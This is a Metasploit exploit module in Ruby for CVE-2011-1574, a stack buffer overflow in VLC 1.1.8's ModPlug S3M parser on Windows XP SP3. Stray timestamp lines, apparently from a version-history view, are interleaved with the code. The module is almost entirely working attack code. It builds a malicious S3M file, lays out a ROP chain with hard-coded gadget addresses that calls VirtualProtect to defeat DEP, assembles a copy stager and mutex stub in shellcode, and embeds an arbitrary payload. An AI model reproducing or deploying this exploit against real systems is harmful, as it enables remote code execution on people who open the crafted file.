2011-05-06 15:29:07 +00:00
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##
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2014-10-17 16:47:33 +00:00
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# This module requires Metasploit: http://metasploit.com/download
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2013-10-15 18:50:46 +00:00
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# Current source: https://github.com/rapid7/metasploit-framework
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2011-05-06 15:29:07 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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2013-08-30 21:28:54 +00:00
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Rank = AverageRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow',
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'Description' => %q{
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This module exploits an input validation error in libmod_plugin as
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included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9
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are affected. By creating a malicious S3M file, a remote attacker
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could execute arbitrary code.
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Although other products that bundle libmodplug may be vulnerable, this
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module was only tested against VLC.
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NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
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permanently enable NX support on machines that support it. As such,
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this module is capable of bypassing DEP, but not ASLR.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'jduck' ],
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'References' =>
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[
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[ 'CVE', '2011-1574' ],
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[ 'OSVDB', '72143' ],
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#[ 'BID', 'xxx' ],
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[ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ],
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[ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ],
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[ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ],
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[ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ]
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],
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'Payload' =>
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{
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'Space' => 512 - 0x24, # Space reserved for prepended mutex code
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#'DisableNops' => true,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'VLC 1.1.8 on Windows XP SP3',
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{
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# vuln is in libmod_plugin.dll, rop is custom to this module
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 07 2011', # "found: 2011-03-09"
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.s3m']),
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], self.class)
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end
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def exploit
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num_orders = 0x14
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num_instru = 0x15
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num_patterns = 0x18
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hdr = "\x00" * 0x1c # song name (none)
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hdr << [
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0x1a, # static byte
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0x10, # ST3 module
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0x00, # padding
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num_orders,
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num_instru,
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num_patterns,
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0x00, # Flags
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0x1320, # Created with (which tracker)
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0x02, # File format information
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].pack('CCvvvvvvv')
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hdr << "SCRM"
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hdr << [
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0x40, # global volume
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0x06, # initial speed
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0x8a, # initial tempo
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0xb0, # master volume
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0x10, # ultra click removal
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0xfb # NOTE, non-0xfc value skips an additional loop!
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# 0xfc == default channel pan positions present
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].pack('CCCCCC')
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hdr << "\x00" * 10 # includes pad and special pointer
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# channel settings (for 32 channels)
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hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f"
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hdr << "\xff" * 16
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# orders
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hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13"
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hdr << "\x14\x16\x17\xff"
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# parapointers to instruments
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hdr << [ 0x0f ].pack('v') * num_instru
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# parapoitners to patterns
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hdr << [ 0x78 ].pack('v') * num_patterns
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# channel default pan positions
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hdr << "\x00" * 32
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# instruments
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instru = "\x01metasplo.ity"
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rest = "\x00" * ((0x50 * num_instru) - instru.length)
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# Build the rop stack
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rvas = rvas_libmod_plugin_xpsp3()
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rop = generate_rop(rvas)
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zero_ptr = rva2addr(rvas, 'Scratch') + 4
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mutex_addr = rva2addr(rvas, 'Scratch') + 8
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imp_Sleep = rva2addr(rvas, 'imp_Sleep')
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# A mutex to prevent double payloads
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locking_code = <<-EOS
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mov ebx, [ #{imp_Sleep} ]
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jmp test_lock
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2011-05-06 15:29:07 +00:00
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sleep:
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2013-08-30 21:28:54 +00:00
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push 0xdeadbeef
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call ebx
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2011-05-06 15:29:07 +00:00
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test_lock:
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mov eax, [ #{mutex_addr} ]
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test eax,eax
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jnz sleep
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2011-05-06 15:29:07 +00:00
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2013-08-30 21:28:54 +00:00
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lock cmpxchg [ #{mutex_addr} ], ebp
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test eax,eax
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jnz sleep
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2011-05-06 15:29:07 +00:00
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EOS
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2013-08-30 21:28:54 +00:00
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rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string
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rop << payload.encoded
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# This becomes the new EIP (after return)
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ret = rva2addr(rvas, 'pop eax / ret')
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rest[1267, 4] = [ ret ].pack('V')
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# In order to force return, we smash the this ptr on the stack and point
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# it so that m_nChannels turns out to be 0.
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rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V')
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# Add the ROP stack and final payload here
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rest[1275, rop.length] = rop
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instru << rest
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# patterns
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patt = [ 0x10 ].pack('v')
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patt << "\x00" * 0x10
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# finalize the file
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s3m = ""
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s3m << hdr
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instru_pad = (0x0f * 0x10) - hdr.length
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s3m << "\x80" * instru_pad
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s3m << instru
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# patch in exploit trigger values
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s3m[0x22, 2] = [ 0x220 ].pack('v')
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s3m[0x24, 2] = [ 0x220 ].pack('v')
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(s3m)
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end
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def rvas_libmod_plugin_xpsp3()
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# libmod_plugin.dll from VLC 1.1.8 (Win32)
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# Just return this hash
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{
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# Used as 'Ret' for target
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'ret' => 0x1022,
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'push eax / ret' => 0x1cc4d,
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'pop eax / ret' => 0x598a2,
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'mov eax, [eax+0x1c] / ret' => 0x542c9,
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'pop ebx / pop ebp / ret' => 0x25e2f,
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'add eax, 4 / pop ebp / ret' => 0x7028,
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'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad,
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'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64,
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}
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end
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def generate_rop(rvas)
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# ROP fun! (XP SP3 English, Apr 10 2011)
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rvas.merge!({
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# Instructions / Name => RVA
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'BaseAddress' => 0x653c0000,
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'imp_VirtualProtect' => 0xec2f0 - 0x1c, # adjust for gadget used to resolve
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'imp_Sleep' => 0xec2dc,
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'Scratch' => 0x5fbfc,
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'Data' => 0x60101,
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#'DataAdjusted' => 0x60000 - 0x58 + 0x8,
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'DataAdjusted' => 0x60000 - 0x58,
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})
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copy_stage = <<-EOS
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nop
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push esp
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pop esi
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lea edi, [eax+0x10]
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push 0x7f
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pop ecx
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inc ecx
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rep movsd
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2011-05-06 15:29:07 +00:00
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EOS
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2013-08-30 21:28:54 +00:00
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copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string
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if (copy_stage.length % 4) > 0
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fail_with(Failure::Unknown, "The copy stage is invalid")
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end
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rop_stack = [
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# Resolve VirtualProtect
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'pop eax / ret',
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'imp_VirtualProtect',
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'mov eax, [eax+0x1c] / ret',
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# Call VirtuaProtect
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'push eax / ret',
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'pop eax / ret', # after VirtualProtect
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# Args to VirtualProtect
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'Data', # lpAddress (place holder, filled in @ runtime above)
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0x1000, # dwSize
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0x40, # flNewProtect
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'Scratch', # lpflOldProtect
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# Load the pre-adjusted Data addr
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'DataAdjusted', # matches pop eax / ret above
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##
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# Write our code little stager to our newly executable memory.
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##
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# Load the last 32-bits of code to write
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'pop ebx / pop ebp / ret',
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copy_stage[0, 4].unpack('V').first,
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:unused, # ebp
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# Write & advance
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'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
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copy_stage[4, 4].unpack('V').first,
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:unused, # esi
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:unused, # edi
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:unused, # ebp
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'add eax, 4 / pop ebp / ret',
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:unused, # ebp
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# Write & advance
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'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
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copy_stage[8, 4].unpack('V').first,
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:unused, # esi
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:unused, # edi
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:unused, # ebp
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'add eax, 4 / pop ebp / ret',
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:unused, # ebp
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# Write & advance
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'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret',
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0xffffffb0, # adjustment value
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:unused, # esi
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:unused, # edi
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:unused, # ebp
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# Adjust eax
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'sub eax, ebx / pop ebx / pop edi / pop ebp / ret',
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:unused, # ebx
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:unused, # edi
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:unused, # ebp
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# Execute the copy stage
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'push eax / ret',
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]
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rop_stack.map! { |e|
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if e.kind_of? String
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# Meta-replace (RVA)
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fail_with(Failure::Unknown, "Unable to locate key: \"#{e}\"") if not rvas[e]
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rvas['BaseAddress'] + rvas[e]
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elsif e == :unused
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# Randomize
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rand_text(4).unpack('V').first
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else
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# Literal
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e
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end
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}
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rop_stack.pack('V*')
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end
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def rva2addr(rvas, key)
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fail_with(Failure::Unknown, "Unable to locate key: \"#{key}\"") if not rvas[key]
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rvas['BaseAddress'] + rvas[key]
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end
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2011-05-06 15:29:07 +00:00
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end
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